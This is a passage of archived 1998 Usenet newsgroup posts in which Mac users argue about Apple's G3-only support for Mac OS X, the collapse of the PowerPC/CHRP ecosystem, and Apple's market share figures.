what they bought the hardware for and wanted fork out more money for
the OS when available. The second option would be like if MS was going
to keep shipping Windows 3.1 that was becoming more native on the
processor it is supposed to run on and the UI was getting a little
better again.
> Fortunately, for once, Apple was able to look down the tracks, see the
> crash coming, and change tracks. Is it fair to hold them to offering
> service to a city that's on the wrong side of the crash?
Isn't that a little dramatic. Consider the "crash" (incidentally, that
is what Apple is offering to their pre-G3 customer ad infinitum) a
half-way stop instead on a delayed trip.
> When the statement was made, the OS they were referring to was Rhapsody.
> That OS will even be shipped. Yes, we now know it's going to be a flop
> as a consumer OS. (I said so at the time, but Amelio didn't ask for my
> opinion.) And so, Apple has their backup plan ready even before the
> about-to-flop OS has shipped, and has announced it.
And as many knowledgable people have said, it shouldn't be technically
too difficult to migrate that Rhapsody half-way support over to the
real McCoy Mac OS X. Esp. as the pre-G3 folks seem to be all-too
willing to wait for a reasonable period of time for the compatibility
release as not to delay the all-important debut of Mac OS X. See,
we're pretty reasonable once you get to know us. :-)
> Is it reasonable to demand the backup plan cover the same parameters as
> the main plan.
Yes, if it is reasonably doable as it would appear to be. My ticket
says "all the way", not "get a tram back where you were coming from"
or "here's a deserted, half-built station so bugger off - or buy a new
ticket (new train?) and we'll get you there, promised..."
And if I'm _demanding_ anything that'd be a good no-excuses
explanation for the sudden G3-only policy (which came up only when the
pre-G3 models were just about sold out...). The excuses made here on
Apple's behalf are merely uninformed guesses, some well-intended and
some rather pathetic.
Anybody interested in marching to the Apple Campus townhouse for milk
and cookies like any self-respecting Newton aficiado would do? :^)
Rgds,
--
taiQ
[this space is intentionally blank]
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 11:56:08 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net>
In article <35B892EE.D87B3ED9@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> A recent Reason article (written on a Macintosh by a dyed-in-the-wool
> Macintosh fanatic) said that despite the factors that made the Macintosh
> a better machine, for most of the Macintosh's history it would have
> required gross incompetence or plain stupidity for executives to pay for
> Macintoshes in business except in specific niches. Despite my love for
> the platform back when it was actually a viable alternative, even I had
> to admit that this was true.
>
> > OTOH, with the passel of problems that M$ Wintel and the PC cloners are
> > having, it could backfire.
>
> Whatever. It's funny that you guys claim Apple's back on track on the
> basis of three quarters of profit, but even as Microsoft is on the best
> financial streak of its existence, you would claim that its markets are
> imperiled by a "passel of problems". I don't think Microsoft's
> "problems" are anything like Apple's, no matter what I might
> subjectively think of the company.
I certainly agree with you on this one. I keep asking the Apple apologists
here (I'm a Mac advocate, not an Apple advcate. Apple's blunders and
overall incompetence is 100% responsible for the Mac's poor position in the
market) one overall crucial question: Apple is doing ok today, BUT WHERE
ARE THEIR CUSTOMERS GOING TO COME FROM TWO-TO-FIVE YEARS DOWN
THE ROAD???????
They never answer. Reason? They don't know either. They are just hoping
against hope that "somehow" things will work themselves out. To me
this isn't good enough. I don't want to wake up some day in the not-so-
distant future to find that I am forced to use Windows for the rest of my
life because its the only viable operating system out there.
George Graves
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 11:10:12 GMT
Organization: I don't think so
Message-ID: <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>AIM's inability to capture 10% of the CPU market with PPC was due to a
>number of factors:
>IBM dropped OS/2 for PPC
>IBM dropped AIX for PPC
No, AIX is still around.
>Novell dropped Netware for PPC
>Microsoft dropped NT for PPC
>Motorola stopped making PPC computers
>Sun dropped Solaris for PPC
>Apple's PPC sales didn't meet expectations.
>Of all these players, Apple is the only one who stuck with PPC.
IBM (RS/6000) and Bull Estrella still sell AIX/PowerPC boxen.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 16:36:29 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2407981636290001@pelli.pathology.pitt.edu>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <pxpst2-2307981657470001@pelli.pathology.pitt.edu> <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>
> Iridium has GOT to be costing Motorola a fortune. Anyone know how those
> satellite costs have affected their bottom line?
Actually, If I am not mistaken, Iridium is figured into costs already
because it has been a project in progress. In other words it was planed.
And to be fair, it is not a bad project. It will allow for remote regions
to get Bandwidth for a cheap cost compared to wire.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Date: Fri, 24 Jul 1998 16:20:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Message-ID: <joe.ragosta-2407981620390001@wil51.dol.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>
In article <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> Ok, this is not anti Apple or a troll, so could someone explain this...
> From what I have heard, worldwide computer sales have been RISING. Thus,
You heard wrong. Or, at least, you're extrapolating a long term trend into
a short term time period.
For the 2nd quarter, IBM, Compaq, and GW2K (at least) had significant
declines from the previous period.
> to keep THE SAME market share as a previous quarter, if the number of
> computer sale doubles, you have to sell DOUBLE the ammount of computers to
> keep THE SAME marketshare.
> 1) the worldwide computer market has steadily increased over the last year.
> 2) apple has sold LESS computers than the same quarter last year
And the same as the previous quarter.
> 3) the same quarter last year apple's market share was what, %5, %6 worldwide?
> 4) total computer sales have increased since then
> :. Apple's market share is less than %5, or %6, or what it was q3 of
last year
> :.Apple's market share IS NOT %9
READ THE DAMN STORIES.
PLEASE.
The 9% figure is _retail_ market share. The other figures you're pulling
out of your hat are total market shares.
>
> Yet, from macosrumors, as well as other sites:
>
> Apple market share up to 9.4%!
Not from Mac OS Rumors. From PC Data.
>
> According to a recent report from PC Data, Apple's market share has
> risen from 4% earlier this year to 9.4% in June!
Wrong. PC Data never quoted the 4% figure. According to PC Data, Apple's
_retail_ share was 7% last November and has risen steadily since then.
>
> Note: Market share is not the same thing as the installed user
> base. Apple has a much larger share of the installed user base than it
> does current
> market share -- which is a measurement of how many computers are
> being sold right now under the Apple name as compared to the total number
> of computers being sold period.
And none of this has to do with installed base. It's a matter of not
mixing share figures from different markets or from different time
periods.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 14:24:59 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8DF8B.FD82305D@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net>
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Joe Ragosta wrote:
> This is nonsense. Let's talk about the _facts_, not your anti-Apple diatribes.
Oh, please! Wouldn't that be novel.
> AIM set up a team to develop a new series of processors.
No. AIM was established to develop and market an existing line of
processors.
> Now, LOTS and LOTS of people said they were going to support this new CPU.
[cut]
> Now, other than IBM's AIX, the vendors have dropped support for PPC in
> every case. Apple has kept up its side of the bargain--they're still using
> PPC on all their computers.
Bargain? Apple committed to PPC before anyone else did. Apple had
exactly nothing to lose by beating the PowerPC drum. They were asking
the industry to agree to jump on board the PPC platform. Then they
poisoned the entire platform for everyone except Apple (probably even
for Apple) and everyone walked away.
This would be sort of like you inviting a bunch of friends to a party,
and when they show up you drop trow and start peeing on everybody. When
they run away, you claim they "didn't hold up their end of the bargain".
I don't know how much simpler this can get.
> Your argument about the hardware standard is completely bogus. First, all
> of these supporters dropped their PPC OS before CHRP was ready.
Well, how much longer were they supposed to wait, Joe? Apple held up the
standard for as long as they could, then basically drop-kicked it. But
please, don't let that stop you from painting this as being Sun's fault.
> Second,
> any one of them could have made CHRP boxes. Why is it that they're all
> relying on Apple to do so?
The whole point of CHRP boxes was low-cost, medium-performance hardware
that would run a consumer OS at first. The presence of a consumer OS
would create a pool of hardware that would create opportunities for
alternative platforms like Solaris and AIX.
I don't know why I have to rehash all of this, but let's just get it out
of the way. Solaris for PPC was written, AIX for PPC was written, NT for
PPC was written. The chips were all lined up, the players were just
itching to start. It looked like a complete slam dunk.
But the thing everyone was waiting for never happened. CHRP wasn't
finalized until LONG after the promised date, and by the time it
actually appeared, Apple was killing off cloners right and left.
Realizing that there was almost no market left, and that what market
remained would be forever imperiled by Apple's idiocy, there was no
profit left in shipping, developing, supporting, and marketing
alternative OSes, period.
> Your attempts at revisionism are sad.
No, the fact that I have to go through all of this history with a
self-righteous prig is sad.
> There's no way that it's Apple's
> fault that all of these companies failed to live up to their promises.
That's where you're wrong. It absolutely is Apple fault that all of
these companies couldn't play the CHRP game. These companies, and many
many more.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 15:46:11 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8F293.F58D0926@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net>
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Joe Ragosta wrote:
> This is total, unadulterated nonsense.
Ah, truth in advertising!
> IBM dropped OS/2 for PPC.
> Microsoft dropped NT for PPC.
> Sun dropped Solaris for PPC.
> Novell dropped Netware for PPC.
>
> Motorola stopped making PPC boxes.
> Be stopped making PPC boxes.
>
> APPLE HAD NOTHING TO DO WITH ANY OF THOSE THINGS.
Now we really get to the crux of it. No, you are completely wrong. Apple
had *everything* to do with all of these things.
> And don't give me the crap about Apple not having an open architecture. It
> didn't seem to stop Be (a startup working on a shoestring) from making
> their OS work on Apple's PowerMacs.
Hey, does BeOS run on the G3, yet? Oh, so sorry. Thanks for playing.
From the Be PowerPC FAQ:
No, the BeOS is not compatible with Apple's "G3"
systems. We have requested from Apple the detailed
technical specifications we would need to provide
support for these systems, and Apple has declined
our requests. This information, concerning the design
of the logicboard, is available only from Apple.
Without this technical information, it is impossible
for us to support the new hardware.
Uh, you stand corrected.
MJP
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 12:40:41 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-162.phx.primenet.com
Message-ID: <not-2407981240410001@ip-26-162.phx.primenet.com>
References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> > First you pat Apple on the back for having good backward-compatibility in
> > the past, then you slam them for a possible future of doing nothing but
> > breaking that tradition. No one out there knows anything about Apple's
> > future strategy past OS X, not even Apple. The fact that you bring it up
> > here really weakens your argument.
>
> It does not.
>
> Because Apple has a good history of supporting older Macs, I can assume
> that Apple will continue and will feel safe that I will be able to keep my
> OS current for a reasonable amount of time.
>
> Now Apple is planning to drop support for machines that are only 1 year
> old. This sets a precedent. While I do not _know_ that Apple will do that
> again, it makes the possibility much more likely at the very least
> psychologically.
"It makes the possibility much more likely at the very least psychologically."
I don't want to belittle this stamenet, becuase it may have been something
you just tossed off as you wrote, but this isn't exactly the sort of thing
a purchaser could hang his hardware buying schedule on, correct?
> With this in mind, I have to weigh the risk with the benefits I see to
> staying with the platform. If I judge that the risk outweighs the benefits
> for me, this one move by Apple will mean I leave the platform.
>
> Are you saying that this should have _no_ bearing on a decision to go or
> stay with the platform?
Not at all! But I am saying that if you are willing to attribute such
actions to a future Apple about an OS that doesn't exist yet, then you
fiath in the company is already shattered and you'd better move to
microsoft/NT, if having the latest and greatest OS run on your hardware is
totally critical to you. The majority of Mac users (and Mac power-users)
probably aren't going to expect Apple to turn from a company that
supported 13-year backward compatibility to a company that obsoletes its
hardware once a year. If you really, honestly think Apple is going in that
direction, then by all means, exit to the left.
> It is not a matter of panicking. It is a matter of a person determining
> whether he wants to continue investing in Apple products.
Do I need to repeat this old saw, so often mentioned on this group?
*Computers are not an investment!*
They never have been! They only degrade in value, they never go up. They
age unpredictibly--who would have predicted that the 604e's performance
life would be so short? If I was an investor, computers on any platform
would look like quite a loser buy. If it is critical to your business that
you use computers, then you should budget enough to stay on the cutting
edge. It really isn't that tough to see.
>I see few people
> saying that they are forsaking the platform _now_ because Apple might
> follow through on this decision. I definitely do not advocate this
> action. I see people saying that they will not continue to support Apple.
> I do not advocate this either, but I am saying it almost a given that it
> will happen. I will probably be one of them. Note that I say probably.
> When Mac OS X comes out, I will decide. Right now, this _is_ an issue for
> me in deciding my next computer purchase (which will be in the shortly
> before Mac OS X time frame).
Well, it shouldn't be. My rule has always been "buy the fastest/latest
machine you can possibly afford." If that machine won't run OS X, well
then I'll wait until I buy the next one. OS X is not *critical*--it is not
a make or break piece of software. For those users to whom memory
protection, speed and crashproofness is essential, they have already moved
to NT.
> > You are speaking of that one-time survey, conducted by a PC company, are
> > you not?
>
> Could be. That's where I first heard it. I was surprised it was so high
> though.
>
> > Sorry, but one data point in a list of hundreds of data points to
> > the contrary is not signifigant. Nor does one data point constitute a
> > trend.
>
> Do you have a hundred sources that indicate that Apple's customer loyalty
> is increasing? Do you have a hundred current sources of information that
> indicate that Apple's customer loyalty has not declined?
Well, let's put it this way: Apple was Number One in that survey for 6 or
7 years running. Now they are Number Two once. Which one constitutes a
trend?
>Until someone at Apple comes out and says,
> > "Yes, we decided to exclude everything but G3s because we wanted to sell
> > more hardware," all of your charges and accusations are just vapors and
> > hot air.
>
> Poppycock. Do you _really_ think if Apple really made a decision like that
> that it would inform us of it? Don't you think that Apple would come up
> with another excuse? That is not the only way to validate the idea that
> the decision was motivated by a wish to sell more hardware.
>
> There is the fact that these machines are perfectly fast enough to run Mac
> OS X. They will already be able to run Rhapsody on which Mac OS X is
> based.
Yes, but as many other threads on this discussion have mentioned, the
speed of the hardware is not the issue, not even for a second. The issue
is, and has been from the beginning, does Apple have the time to make OS X
work on all this older hardware, and then test, debug, and troubleshoot
it? No, they do not. By most people's estimates I have read on this group
this would add an extra year to the development of OS X. Are you willing
to wait that extra year? Do you think Apple can afford it?
The changes in Mac OS X would make it _easier_ for Apple to support
> these machines.
Do you have any evidence of this assertion? It contradicts much that I
have read on MacNN and Macintouch.
Supporting these machines would not make Mac OS X slower
> or less efficient.
Wrong--it would make Mac OS X slower to market, signifigantly. Even making
OS X support all those third-party G3 upgrade cards would be a real burden
on resources.
And who is to say that OS X.5 won't support those upgrade cards, or even
older PCI Macs? Perhaps after the initial release Apple will spend some
time and do that, just to be nice.
> While "because we want to sell more hardware" is not the only reason for
> this decision left, it is definitely a possible one.
Yes, and an understandable one. There is something strange about Mac
users: we tend to drop $3000 on a Mac once, then hold on to it forever,
while our PC colleagues spend $1200 a year upgrading and modifying their
machines constantly. I don't see any problem with Apple wanting to make
their new hardware that more attractive. It would benefit the entire
Macintosh commounity of more of us were running high-end hardware, and you
certainly can't accuse Apple of overcharging for their machines anymore.
> Furthermore, the motivation does not matter much anyway since the effect
> is the same either way. If Apple would say it is considering support for
> these machines, many more people would be satisfied. Apple has futzed
> around with getting a new OS out for many years now. This is known by a
> lot of people. Many people have wanted a new "advanced" OS even if they
> did not specifically by a machine to be able to run it (though some have).
>
> There has been significant negative reaction to Apple's decision.
I agree with all of the above. But I don't agree that this negative
reaction is enough to really hurt Apple. For the majority of Mac users,
8.x and above and their 604e will be just fine. For a pool of power users,
G3/G4 and OS X will be fine. No crisis. Look at how many Windows 3.1/95
users there are in the world, utterly complacent. NT 5 is not aimed at
them; OS X is not aimed at Performa/7.6.1 users.
> > > There is
> > > apparently tremendous demand for an "advanced" OS in the Macintosh
> > > community. That demand has not been sated yet I'd bet.
> >
> > On this newsgroup, perhaps, which is a *very* skewed segement of the Mac
> > OS community. Outside of it? Prove it.
>
> The fact that in 2 months a significant update to the Mac OS sold 2
> million copies (about 10% of the installed base) indicates to me that
> there is tremendous demand.
People bought OS 8 not because it was a "modern" OS, but because it had
this really cool grey platinum look and crashed a little less often. It
wasn't advertised as a cutting edge, buzzword compliant "modern" OS. OS
Most definitely will be advertised that way. It was also cheap: $99 bucks
at most.
> > > > Why? These machines will be 4 years old by the time OS X comes out. Just
> > > > like me, theu will have upgraded long before the ship date.
> > >
> > > Some of these machines will be 4 years old. Some will be one year old.
> >
> > No, they will all be 4 years old (and perhaps older) in technology
> > terms--the 9600/350 motherboard is almost identical to the very first PPC
> > motherboards.
>
> It is also faster than a lot of the PowerMac G3s (particularly the iMac),
> and is more expandable by far (particularly the iMac).
The 9600/350 is NOT faster than the iMac by any means. The 9600 barely
beats 800 in Mac Bench (I've run the test myself on one) while the slowest
G3 gets 755 and the iMac 900-1000. The G3/266 gets 918, and that machine
is *cheaper* than the 9600 by $1000. The only reason to buy the 9600 right
now would be a dire need for 6 PCI slots.
> The reference system for Rhapsody DR1 was a PowerMac 9600/233. That is not
> speculation. All the developers who bought 604e based PowerMacs to
> run Rhapsody will have to buy new machines to run Mac OS X. That is not
> speculation.
Yes, but to most developers hardware costs are the least of their worries.
Sure, shareware and freeware developers will be husrt, I won't deny that.
But they can just keep developing for 8.x and above, and run their code
through a "Carbon compliance" tester like the one Apple already released
(which runs on almost all PowerMacs) to see if it can take advantage of OS
X features.
> That the market for Mac OS X related software (particularly Yellow Box)
> will be smaller than with support for these machines is speculation, but
> is very likely.
Have you forgotten that *all* current software will run on OS X in the
Blue Box? And have you forgotten that making an existing application
Carbon-compiant will be *much* less expensive than writing an all-new
version (as Rhapsody would have required.) The developer market for Mac OS
has been *increased* by Mac OS X's introduction, not decreased. That was
the whole point!
> Mac OS developers seem to have been happy with the move to Mac OS X not
> because of dropping support for pre-G3 PowerMacs, but because it allows
> them to largely keep their development investment in the Mac OS.
Of course! This is EXACTLY the reason OS X takes the form that it does.
> I wonder how happy Yellow Box developers are.
Their software will still work on OS X; they will just lose their
development platform, and probably won't get Yellow Box for Intel anymore.
> Would you speculate on how developers targetting other markets who
> invested in machines specifically for Rhapsody feel?
Well, screwed. But that's the nature of the business, really. How do you
think all of the PC software developers feel who pegged an upgrade or a
new product to the release date of Windows 98, and were forced to sit on
or release their products without the final 98 specs? Getting jerked
around by the powers that be is a programmer's daily occurrence. I'm not
saying Apple is blameless in this regard, at all. I spent quite some time
as an HTML/JavaScript designer, and I know how bad it sucks to change a
moving target all the time, as standards change all around you. But it is
the nature of the business, really.
> I was arguing that the majority of Mac users will be
> > totally oblivious to the "problem" posed by Mac OS X and the ones who are
> > aware of it will be upgrading to G3 anyway. I was arguing that your
> > grassroots rebellion you seem to be talking about is nothing but smoke and
> > shadows, from where I sit as a 10-year Mac user with on-the-ground
> > experience of Mac user communities.
>
> Heh. What a coincidence. That's where I sit as well.
>
> I never said that there would be anything like a "grassroots rebellion". I
> never talked about "legions" of Mac user leaving the platform. I said that
> there would be people (I think a significant number though nowhere
> approaching a majority) who would abandon the Mac platform because of
> Apple's decision. I provided some of those reasons.
Wel, if it isn't going to be a rebellion, then what's the big deal? As I
have cited before, power-users who felt that having a "modern" OS with
memory protection and multiprocessing was absolutely critical to them have
already moved on to NT (I can cite three examples within my circle of
friends, but I know how you feel about anecdotal evidence). Most Mac users
I know are totally oblivious to the whole OS soap-opera. So that leaves a
very few people who are stuck in the middle and getting heated about it,
here on Usenet.
> I am not pushing any cause here. I do not think it would be a good thing
> for the platform to have many people abandon it. I want Apple to support
> older PowerMacs. I want to make clear the reasons that I and some other
> people may forsake Apple if it does this.
See, here's the problem, wrapped up in one word: "forsake." Apple is not a
religion; it is not a cult; it is not a benevolent god. Platform choice is
a personal issue based on what you need to do with a computer to get the
job done, right now and in the near future. This decision is tainted by
legacy spending, i.e. how much you already have invested in the issue. But
it all comes down to money and time, not some mythical venture into the
territory of "right" and "wrong" or "light" and "the dark side." Apple
hasn't "forsaken" anyone, because Apple is a buisness, not a god that one
day cures your blindness and the next day withers your crops. Mac OS X on
G3 only is a buisness decision, nothing more, nothing less. It is not a
test Apple created to measure your loyalty, or a hoop to see how many will
jump through it.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 10:23:53 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-2407981023530001@grumpy.met.utah.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com>
In article <not-2307981605420001@ip-26-117.phx.primenet.com>,
eilersm@psn.net wrote:
> In article <jbg-2307981327420001@green.sdc.cs.boeing.com>,
> jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
>
> > If I want a mac that will _someday_ support an OS which provides true
> > memory protection and full preemptive scheduling, is it "realistic"
> > for me to buy *any* Apple computer _today_?
>
> Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
> beginning.
Interesting. So you obviously don't agree with the faction of Mac
advocates who believe that it is foolish to make a hardware purchase based
on promises of upcoming OS's?
How do you feel about the people who bought hardware expecting to run
Copland, Gershwin, etc.? How about somebody who bought a PowerBook 1400
(sold long after the "deadline"), expecting to run Rhapsody?
For that matter, what about those who purchased PCI machines based on the
promise of Rhapsody? While they may still get Rhapsody/OS X Server, it
won't likely be the solution they desire, for the cost they desire (hint,
it's to be a "server" OS, probably for "server" cost).
But of course, all of that is in the past. Listen up folks, history
doesn't matter! It's now safe to take Apple at it's word!
Take out those checkbooks. . .
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: Jeff Walther <trag@pentagon.io.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 24 Jul 1998 20:49:03 GMT
Organization: Illuminati Online
Message-ID: <6parvv$7jf$1@hiram.io.com>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <MPG.101d0026256527109899cd@news.supernews.com> <kewldoc-2107981400410001@42.0.17.176.203.in-addr.arpa>
NNTP-Posting-Date: 24 Jul 1998 20:49:03 GMT
User-Agent: tin/pre-1.4-980226 (UNIX) (BSD/OS/2.0.1 (i386))
In comp.sys.mac.system Henry C. Maglente <kewldoc@hotmail.com> wrote:
> making promises that they knew they couldn't keep. Look at how many
> product lines there were and it still didn't improve the user base. They
> tried pleasing everyone and ended up pleasing no one.
But they didn't have a nicely differentiated range of product lines
with different features and functions. What they offered was more
like a choice of handicaps.
It's traditionally been Apple's philosophy to handicap all but the most
hideously expensive machine that they offer. Consider the IIsi running
at 20 MHz when it would have cost exactly the same amount for it to run
at 25 MHz--it uses a IIci motherboard sans NuBus slots. Or the 6400
home multi-media machine with only 1 MB of VRAM...and no expansion,
unless you want to spring for an entire expensive PCI card. For about $10
on the cost of a $1500-$2000 machine they could have included 2 MB
of VRAM or a slot for more VRAM. Or the X2xx Performas with a 32 bit
bus on a PPC machine.
It wasn't the strategy of many product lines that failed. It was the
products that failed.
> its a risk that Apple seems to be willing to take. If they feel that they
> can quickly provide a more superior OS on a superior machine (the G3) then
> they should go do it. Forget the stagnant past. Move ahead in full-gear.
It's not the stagnant past they are forgetting. It's the customers. And
the G3 isn't a superior machine. Any X500 or X600 machine with a G3
upgrade card will keep up with or beat the pants off of a G3 machine.
Especially if you consider such things as disk performance and video.
This isn't moving ahead. It's moving back into the past when if you
wanted expandability and choice in your Mac then you were either out
of luck or had to pay a premium of $2000-$3000 for it. Since Apple
apparently doesn't plan to offer any machines with decent expandability
it'll be the case that every tme you want a new feature you will just
have to pay Jobs for a whole new machine. And you better not want a
feature that he doesn't want to offer.
> Users want computers with POWER. Apple has that with the G3 - now it needs
> an OS to match that power. If Apple feels that delaying an OS just for the
> sake of making some older computers run on it will delay their progress -
> then FORGET the old computers. When next generation G3 computers come out,
> who would want to run OS X on an old Tsunami Mac ? People will be so
> impressed with the new OS and hardware, they'll forget the past.
Pure speculation. I haven't seen anything proposed by Apple that is
going to perform significantly better than a 9600 with a G3 card or
a G4 card later. And it's hard to forget the past when such
forgetfullness will cost you $3000 plus/minus $1500.
And yes, users want computers with POWER, but Apple has traditionally
refused to offer that and now we go back to those days. The G3 is a
great chip. But Apple has been offering the same clock speeds for almost
a year now with only minor decreases in price. Meanwhile, the upgrade
cards for the soon to be abandoned X500 machines are moving ahead and have
dropped in price by about 50%.
> I for one think that Apple is headed in the right direction. Move forward.
> Forget making decisions that will only stagnate the progress of the
> company. Imagine how many people will move to the Mac platform because
> they see the superior processor and OS. In today's competitive world, time
> is of the essence. Apple doesn't have alot of time. They need to be there
> when computer demand heats up again. Apple needs to make some big changes
> and make alot of noise before they get lost in the sea of wintel machines.
I agree that offering fast good machines at good prices and making
a lot of noise about it is the way to go. But abandoning machines that
are already fast and good and can keep up with any new offerings for
